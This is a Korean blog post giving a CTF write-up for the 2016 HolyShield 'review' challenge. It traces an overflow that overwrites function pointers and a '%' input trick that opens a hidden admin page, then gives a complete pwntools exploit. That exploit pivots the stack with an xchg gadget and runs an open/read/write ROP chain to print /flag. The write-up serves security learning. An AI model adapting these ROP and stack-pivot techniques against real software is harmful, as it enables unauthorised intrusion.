2016 holyshield review
by St1tch저번 holyshield대회 때 못 푼 review 문제를 풀어보았다.
우선 취약한 부분은 비교적 쉽게 찾을 수 있다.
fuck+44와 fuck+48에는 보이드함수가 존재한다.
밑줄부분에서 fuck+30부분에 최대 100바이트를 쓸 수 있다.
따라서 보이드함수 부분을 overwrite 할 수 있다.
이 보이드함수들은 언제 호출 되는지 살펴 보았다.
admin page가 존재한다.
이 함수 내에서, 보이스 함수가 실행된다.
근데 이 admin page에 접속하기 위해서는 일반적인 입력으로는 들어오지못한다.
보면 입력이 0xFFFFFFF5가 되어야하는데 일반적인 입력으로는 이 값을 입력할 수 가없다.
근데 항상 입력을 하면 atoi같은 함수를 거치는데 당연이 atoi함수 인 줄 알았는데, 알고보니 조금의 트릭이 있었다.
이 함수를 보면 '%' 를 입력한 경우, admin page로 들어갈 수 있음을 알 수 있다.
이제 원하는 함수를 한번 호출 할 수 있는데,
main의 시작부분을 보면 chroot가 걸려 있음을 알 수있고, 헥스레이로는 보이지 않지만 "/flag" 문자열도 주어진다.
따라서 open->read->write로 rop 페이로드를 작성하면 된다.
rop는 esp를 +20해주면, password입력 한 부분에 ret할 수 있고,
여기서 xchg 가젯으로 esp를 힙 부분으로 바꾼 뒤,
open, read, write해주면 된다.
from pwn import *
context.log_level = 'warn'
s = process('./review')
print 'pid =', util.proc.pidof(s)
pause()
def command(token, *args) :
s.recvuntil(token)
for i in args :
i = str(i)
s.sendline(i)
fast = lambda token, *args: command(token, *args)
ret = 0x80481b2
pop3ret = 0x804838c
gadget = 0x08055799 #add esp, 8; pop ebx, esi, edi; ret
gadget2 = 0x080d7218 #xchg edi, eax; xchg esp, eax
open_ = 0x0806E250
read_ = 0x0806E2C0
flag = 0x080BF4A8
write_ = 0x0806E330
exit_ = 0x0804F5B0
bss = 0x80ecfb4
def solver() :
p = log.progress('start...')
fast('>', '1', 'stitch', '99')
for i in range(99):
p.status(str(i))
fast('>', 'Y', 'Y', 'Y')
pay = 'a'*14 + p32(gadget) + 'b'*8
pay += ''.join(map(p32, (open_, pop3ret, flag, 0, 0644)))
pay += ''.join(map(p32, (read_, pop3ret, 3, bss, 50)))
pay += ''.join(map(p32, (write_, exit_, 1, bss, 50)))
pay += 'x' * (100-len(pay))
fast('>', '3', '0', pay, '0')
pay = p32(gadget2)
pay += 'a'*8
fast('>', '%', pay)
s.recvuntil('admin...', drop=True)
print s.recvall().strip('\x00')
if __name__ == '__main__' :
solver()
ㅇㅅㅇ. 잘된다.
블로그의 정보
튜기's blogg(st1tch)
St1tch